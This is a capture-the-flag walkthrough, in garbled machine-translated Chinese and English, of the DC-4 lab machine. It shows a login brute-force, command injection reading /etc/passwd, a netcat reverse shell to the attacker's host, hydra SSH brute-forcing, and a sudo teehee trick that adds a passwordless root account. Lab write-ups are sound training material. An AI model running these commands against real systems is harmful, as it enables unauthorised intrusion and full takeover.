【DC-4 Range Penetration】

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前言

DCPenetration testing range is very good for do,Let us slowly familiar with the process of penetration testing basic,Especially skilled reboundshell,Mention right techniques such as,非常不错.

一、DC-4靶场

靶场搭建在本地
IP地址：192.168.0.151
可正常访问
nmapScanning for open ports found22ssh和80http服务端口开启

nmap -sT -p- --min-rate 2000 192.168.0.151

dirbCheck the hidden directory

dirb http://192.168.0.151 /usr/share/wordlists/dirb/big.txt -X .php,.txt

No special found

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二、暴力破解

Observe the page is a login screen,Try to brute force a user name and password
Common crack dictionary download link：https://weakpass.com/
bpCaught set dictionary blasting

Here because I known user nameadmin,所以第一个playload直接设置为admin,即使不知道,Set two variables blasting can also work out,It's just more time consuming.

Can be concluded that the password for thehappy,用户名admin

成功登录

三、查找可利用漏洞

After landing to continuebp抓包

很容易发现radioIs a command execution,Between command and parameter with+号连接
Change my command to see the effect

cat /etc/passwd

Can find command execution vulnerability

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四、反弹shell

在radioChanges the command

nc+192.168.0.107+8001+-e+/bin/bash

查看kali监听端口

shell反弹成功

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五、提权

尝试sudo提权,查看/etc/passwd文件,suidWho can't mention right way
suidRight to mention the general query statements have

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {
    } \;

提示权限不够
查看一下home目录呢

homeDirectory has three usercharles,jim,sam
Again into the three user directory to find information,发现/home/jimBackup file directory there is a passwordold-passwords.bak,并且22号端口是开启的,So we can try to use brute force remote login.And then get aroot创建的用户,And then continue to try to subsequent mention right operation.

将里面的内容复制到kali并创建passwd.txt,user.txtWrite three user namejim,sam,charles

And then to brute force

hydra -L user.txt -P passwd.txt ssh://192.168.0.151

得到用户名为jim,密码jibri104

然后使用ssh远程登录

当前为普通用户,再进行提权
上面提示有mail
查看一下/var/mail,发现是charlesHair and his password

登陆一下试试

登录成功
再试试sudo提权

发现了/usr/bin/teehee,但是在sudoMention right siteThere is no mention on right to command
查看teehee --help文档,Roughly know its effect is：将标准输入复制到每个FILE,也复制到标准输出.
So I can try to add aroot权限的用户,Use standard output modify/etc/passwdThe user of information,Makes its password-less login：

仿照root来写

echo "hp::0:0:root:/root:/bin/bash" | sudo teehee -a /etc/passwd 

写入成功,Login can see isroot权限了

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总结

DC-4Permeability test of our place is very much,Especially for information collection,Sensitive files to view,Ideas must be open.